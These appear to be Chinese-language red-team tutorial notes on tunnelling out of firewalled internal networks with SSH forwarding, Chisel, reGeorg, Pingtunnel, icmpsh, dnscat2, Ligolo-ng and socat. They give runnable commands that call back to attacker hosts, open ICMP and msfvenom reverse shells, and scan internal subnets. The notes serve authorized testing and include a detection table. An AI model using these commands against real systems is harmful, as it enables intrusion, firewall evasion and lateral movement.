1 内网隧道技术
解决不出网协议上线的技术,用来绕过网络内有防火墙、检测等措施的限制
- 前提条件 已有控制权限:如通过漏洞(如Shiro反序列化)上传木马,但无法直接通信。
受限环境:安全设备(如防火墙、IDS)限制敏感操作或信息收集。
- 应用场景 CS/MSF无法上线:通信被拦截,无回显。
数据传输不稳定:网络出口受监控。
绕过拦截:防火墙阻止常规流量。
典型案例:通过Shiro漏洞上传木马,但因防火墙限制无法上线CS,需使用隧道技术。
小结:隧道技术不是攻击手段,而是权限获取后的辅助工具,用于数据传输和防火墙绕过。
1.1 常见的内网穿透工具及方法
声明:本文内容仅用于授权渗透测试和安全研究,所有示例基于合法靶机平台。
1.1.1 引言:隧道是内网渗透的命脉
核心场景:攻击机和目标之间隔着防火墙、NAT、甚至多层隔离网络。没有隧道,拿到跳板机也等于拿了个废品。
内网穿透工具很多,SSH 原生隧道、Chisel、Ligolo-ng、Socat,各有适用场景。
1.1.1.1 基础概念:隧道是什么
典型场景:
攻击机(10.10.14.x)
↕ 只有这一段可达
边界服务器/跳板机(192.168.1.50,双网卡)
↕ 内网,攻击机不可达
内网服务器(192.168.1.100)
没有隧道:攻击机无法直接与内网服务器通信
有了隧道:通过跳板机做"中继",流量穿透到内网
三种技术类型:
| 技术 | 用途 | 代表工具 |
|---|---|---|
| 端口转发 | 访问内网某个特定端口 | SSH -L/-R, socat |
| SOCKS 代理 | 通过代理访问内网任意目标 | SSH -D, Chisel |
| 透明隧道 | 像身处内网一样,直接用任何工具 | Ligolo-ng(最推荐) |
1.1.1.2 SSH 隧道(有 SSH 访问时首选)
SSH 内置三种隧道模式,不需要额外工具,稳定可靠。
1.1.1.2.1 本地端口转发(-L):访问内网特定服务
语法:ssh -L <本地端口>:<目标IP>:<目标端口> user@跳板机
# 场景:通过跳板机访问内网的 Web 管理后台(192.168.1.100:8443)
ssh -L 8443:192.168.1.100:8443 user@jump_host
# 然后在攻击机浏览器访问:https://localhost:8443
# 场景:访问内网 RDP
ssh -L 13389:192.168.1.100:3389 user@jump_host
# xfreerdp /v:localhost:13389 /u:admin /p:password
# 同时转发多个端口
ssh -L 8080:192.168.1.100:80 -L 13389:192.168.1.100:3389 user@jump_host
# 后台运行(不执行命令,只保持转发)
ssh -f -N -L 8443:192.168.1.100:8443 user@jump_host
1.1.1.2.2 动态端口转发(-D):SOCKS 代理访问多目标
语法:ssh -D <本地端口> user@跳板机
# 建立 SOCKS5 代理
ssh -D 1080 user@jump_host -N -f
# 配置 proxychains(/etc/proxychains4.conf 末尾添加)
socks5 127.0.0.1 1080
# 通过代理扫描内网
proxychains nmap -sT -p 22,80,443,8080 192.168.1.0/24
proxychains crackmapexec smb 192.168.1.0/24
proxychains curl http://192.168.1.100
1.1.1.2.3 远程端口转发(-R):反向隧道(目标在 NAT 后)
语法:ssh -R <攻击机端口>:<本地IP>:<本地端口> user@攻击机(在目标机上执行)
# 场景:目标机在内网无法直接被访问,建立反向连接
# 目标机上执行(把 3389 暴露给攻击机的 13389)
ssh -R 13389:localhost:3389 user@<ATTACKER_IP>
# 攻击机:xfreerdp /v:localhost:13389 /u:admin
1.1.1.2.4 多跳隧道(-J ProxyJump)
# 通过 jump1 再跳到 jump2,最终访问 target
ssh -J user1@jump1 -L 8080:192.168.2.100:80 user2@jump2
# 多跳 SOCKS 代理
ssh -J user1@jump1,user2@jump2 -D 1080 user3@target
1.1.1.3 HTTP 隧道,穿越防火墙神器
1.1.1.3.1 Chisel
适用场景:目标只开放了 80/443 等 Web 端口,无法直接建立 SSH 隧道。
Chisel 把流量封装在 HTTP/HTTPS 请求中,伪装成正常 Web 流量穿越防火墙。
1.1.1.3.1.1 安装
# 从 GitHub Releases 下载对应平台版本
# github.com/jpillora/chisel/releases
# 需要两个文件:chisel(攻击机/Linux)和 chisel_windows_amd64.exe(Windows目标)
1.1.1.3.1.2 最常用配置:反向 SOCKS 代理
# 攻击机(服务端)— 先启动
./chisel server -p 8080 --reverse --socks5
# 跳板机(客户端)— 执行后连接攻击机
./chisel client <ATTACKER_IP>:8080 R:1080:socks
# 现在攻击机的 1080 端口是 SOCKS5 代理,流量通过跳板机进内网
# proxychains 配置同 SSH -D
proxychains nmap -sT 192.168.1.0/24
1.1.1.3.1.3 特定端口转发
# 攻击机
./chisel server -p 8080 --reverse
# 跳板机(把内网 RDP 暴露到攻击机的 13389)
./chisel client <ATTACKER_IP>:8080 R:13389:192.168.1.100:3389
# 攻击机:xfreerdp /v:localhost:13389 /u:admin
1.1.1.3.1.4 伪装成合法流量
# 走 443 端口 + TLS(最隐蔽)
./chisel server -p 443 --tls-skip-verify --reverse
./chisel client --tls-skip-verify https://<ATTACKER_IP>:443 R:socks
1.1.1.3.1.5 只有 Web Shell 时的使用方式
# 通过 Web Shell 上传 chisel 后执行(后台运行)
# Web Shell 中执行:
./chisel client <ATTACKER_IP>:8080 R:socks
# 或 Windows:
start /B chisel_windows_amd64.exe client <ATTACKER_IP>:8080 R:socks`
1.1.1.3.2 regeorg
利用HTTP/HTTPS协议封装流量,伪装成正常Web请求。
- 步骤:
- 在目标Web服务器上传regeorg的PHP脚本(如
regeorg.php)。 - 本地运行regeorg客户端:
python regeorg.py -k <key> -u http://target.com/regeorg.php- 配置代理(如SOCKS5),通过隧道通信。
- 在目标Web服务器上传regeorg的PHP脚本(如
- 场景:Web服务器暴露,防火墙允许HTTP流量。
1.1.1.4 ICMP隧道
为您补充 1.1.1.4 ICMP隧道 的相关笔记内容。这部分内容采用了与您现有笔记结构一致的Markdown排版,您可以直接复制并插入到该层级下:
1.1.1.4.1 ICMP隧道
将 TCP/UDP 数据报文封装在 ICMP 的 Echo Request (Type 8) 和 Echo Reply (Type 0) 的数据包 payload 中进行传输。由于 ICMP 协议工作在网络层,且许多企业防火墙或边界路由器为了方便排查网络故障,默认会放行 ping 请求,因此该技术常被用于绕过严格的四层端口访问控制策略。
- 场景: 目标网络边界对出站的 TCP/UDP 端口(如 80, 443, 53 等)进行了严格的 ACL 封堵,但允许出站的 ICMP 协议流量(即在目标机器上能够
ping通公网地址)。
1.1.1.4.2 Pingtunnel
Pingtunnel 是一款基于 Go 语言开发的跨平台 ICMP 隧道工具,支持 TCP/UDP 端口转发以及建立 SOCKS5 代理。相比于传统的 ptunnel,它在并发处理能力、稳定性和传输速度上更具优势。
-
步骤:
- 在攻击者服务器(需具备公网IP)运行服务端。注意:监听和处理底层的 ICMP 数据包需要操作系统层面的 root 权限。
sudo ./pingtunnel -type server- 在目标主机上运行客户端,将流量封装并指向攻击者服务器,同时在本地开启 SOCKS5 代理(假设攻击者服务器 IP 为
attacker.com):
sudo ./pingtunnel -type client -l :1080 -s attacker.com -sock5 1- 配置代理:通过连接目标主机本地的
1080端口,即可将后续工具流量经由 ICMP 隧道代理进内网。
1.1.1.5 icmpsh
一款极简的、跨平台的 ICMP 隧道反向 Shell 工具(Reverse Shell)。其在实战中的核心优势在于:目标主机的客户端运行不需要系统管理员权限(仅攻击端需要 root 权限来捕获和伪造 ICMP 报文)。
- 步骤:
- 在攻击者服务器端,首先需要修改内核参数,关闭系统自带的 ICMP 响应(防止内核自动回复目标机的 ping 包从而导致通信序列混乱),随后启动服务端脚本:
sysctl -w net.ipv4.icmp_echo_ignore_all=1 python icmpsh_m.py <攻击机IP> <目标机公网出口IP>- 在目标主机(通常为 Windows 目标)运行客户端程序,向攻击端发起连接:
icmpsh.exe -t <攻击机IP>
1.1.1.6 DNS隧道
1.1.1.6.1 dnscat2
将数据封装在DNS查询中,利用53端口通信。
- 步骤
- 在攻击者服务器运行dnscat2服务端:
./dnscat2\_server attacker.com- 在目标主机运行客户端:
./dnscat2\_client --dns server=attacker.com- 数据通过DNS隧道传输。
1.1.1.7 透明代理,最推荐
Ligolo-ng 是目前最常用的内网穿透工具。
它的核心优势:创建一个 TUN 虚拟网卡,直接把内网路由到攻击机。不需要 proxychains,任何工具都可以直接访问内网 IP,就像真正在内网一样。
1.1.1.7.1 安装
# 下载(两个文件)
# github.com/nicocha30/ligolo-ng/releases
# proxy → 攻击机运行``# agent → 跳板机/目标机运行
# 攻击机:创建 TUN 虚拟网卡
sudo ip tuntap add user $USER mode tun ligolo
sudo ip link set ligolo up
1.1.1.7.2 建立隧道(标准流程)
# 第一步:攻击机启动 proxy
sudo ./proxy -selfcert -laddr 0.0.0.0:11601
# 第二步:跳板机上传并运行 agent
./agent -connect <ATTACKER_IP>:11601 -ignore-cert
# Windows 跳板机:
./agent_windows_amd64.exe -connect <ATTACKER_IP>:11601 -ignore-cert
# 第三步:攻击机控制台(proxy 界面)
ligolo-ng » session # 查看连接的 agent(选对应编号)
ligolo-ng [session] » ifconfig # 查看跳板机网卡,找内网网段
# 比如找到 192.168.1.0/24
# 第四步:攻击机添加路由
sudo ip route add 192.168.1.0/24 dev ligolo
# 第五步:启动隧道
ligolo-ng [session] » start
1.1.1.7.3 使用(无需 proxychains!)
# 直接访问内网,完全透明!
nmap -sV 192.168.1.100 # 直接扫描内网
curl http://192.168.1.100 # 直接访问 Web
ssh user@192.168.1.100 # 直接 SSH
evil-winrm -i 192.168.1.100 # 直接 WinRM
crackmapexec smb 192.168.1.0/24 # 直接 CME
1.1.1.7.4 多层内网(套娃)
# 已经进入第一层内网,继续穿透到第二层(比如 10.10.10.0/24)
# 在第一层跳板机上运行 agent,连接到攻击机
# 攻击机添加第二层路由
sudo ip route add 10.10.10.0/24 dev ligolo
# Ligolo-ng 支持多个 session,每个对应不同内网网段
1.1.1.8 Socat:轻量级端口转发
Socat 适合临时、快速的端口转发,特别是目标机上无法运行其他工具时。
# 把本机 8080 转发到内网 192.168.1.100:80
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80
# 后台运行
socat TCP-LISTEN:8080,fork TCP:192.168.1.100:80 &
# Windows(需要 socat.exe)
socat.exe TCP-LISTEN:8080,fork TCP:192.168.1.100:80
配合 Payload 使用:内网机器反弹 shell 无法直接连到攻击机时,让 socat 在跳板机上做中继:
# 跳板机执行
socat TCP-LISTEN:4444,fork TCP:<ATTACKER_IP>:4444
# Payload 的 LHOST 设为跳板机 IP
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<JUMP_IP> LPORT=4444 -f exe > shell.exe
# 攻击机监听
nc -lvnp 4444
1.1.1.9 工具选型速查表
| 场景 | 推荐工具 | 原因 |
|---|---|---|
| 有 SSH 访问权,访问内网某个端口 | ssh -L | 无需额外工具,稳定 |
| 有 SSH 访问权,需访问多个内网目标 | ssh -D+ proxychains | 灵活,SOCKS 代理覆盖广 |
| 目标在 NAT 后无法直连 | ssh -R | 反向隧道建立连接 |
| 目标只开放 Web 端口 | Chisel | HTTP 隧道穿防火墙 |
| 需要访问多个内网目标且不想用 proxychains | Ligolo-ng | 透明代理,最方便 |
| 临时转发单个端口,无需安装工具 | socat | 一行命令搞定 |
| 只有 Web Shell | Chisel(后台) | 轻量,HTTP 传输 |
1.1.1.10 实战场景速查
1.1.1.10.1 场景 1:通过跳板机访问内网 Web 管理后台
ssh -L 8443:192.168.1.100:8443 user@jump -N -f
# 浏览器:https://localhost:8443
1.1.1.10.2 场景 2:内网 RDP 横向移动
ssh -L 13389:192.168.1.200:3389 user@jump -N -f
xfreerdp /v:localhost:13389 /u:administrator /p:password
1.1.1.10.3 场景 3:只有 Web Shell,需要访问内网多个目标
# 上传 chisel,Web Shell 中执行
./chisel client <ATTACKER_IP>:8080 R:socks &
# 攻击机:./chisel server -p 8080 --reverse
# proxychains 访问内网
1.1.1.10.4 场景 4:Pro Labs / 多层内网
# 每层都用 Ligolo-ng agent,攻击机管理多个 session
# sudo ip route add 10.10.10.0/24 dev ligolo
# 每层添加路由
# 无需 proxychains,直接访问任何内网 IP
1.1.1.10.5 场景 5:Payload 反弹经过跳板机
# 跳板机做流量中继
socat TCP-LISTEN:4444,fork TCP:<ATTACKER_IP>:4444
# Payload LHOST = 跳板机 IP
# nc -lvnp 4444 在攻击机监听
1.1.1.11 蓝队视角:如何检测和防御隧道
| 攻击技术 | 检测 | 防御 |
|---|---|---|
| SSH 隧道 | 监控异常 SSH 连接;检测 AllowTcpForwarding 使用 | 禁用 GatewayPorts;限制端口转发 |
| Chisel(HTTP 隧道) | 监控长连接 HTTP 请求;流量分析异常 | 深度包检测(DPI);HTTP 代理审计 |
| Ligolo-ng | 检测 TUN 接口创建;监控异常进程 | EDR 检测;禁止用户创建 TUN 接口 |
| DNS 隧道 | 监控异常 DNS 查询频率和包大小 | DNS 防火墙;限制直接 DNS 出站 |
1.1.1.12 关键收获
- Ligolo-ng 是多目标内网渗透的首选:透明代理,无需 proxychains,任何工具直接用,大幅提升效率。
- Chisel 是穿防火墙的利器:只要目标出向能连 HTTP/HTTPS,就能建立隧道,适用于绝大多数企业网络。
- SSH -D + proxychains 是最简单的入门配置:有 SSH 访问权时的默认选择,不需要上传任何工具。
2 代理技术
解决网络通讯不通的问题,利用跳板机建立节点后续操作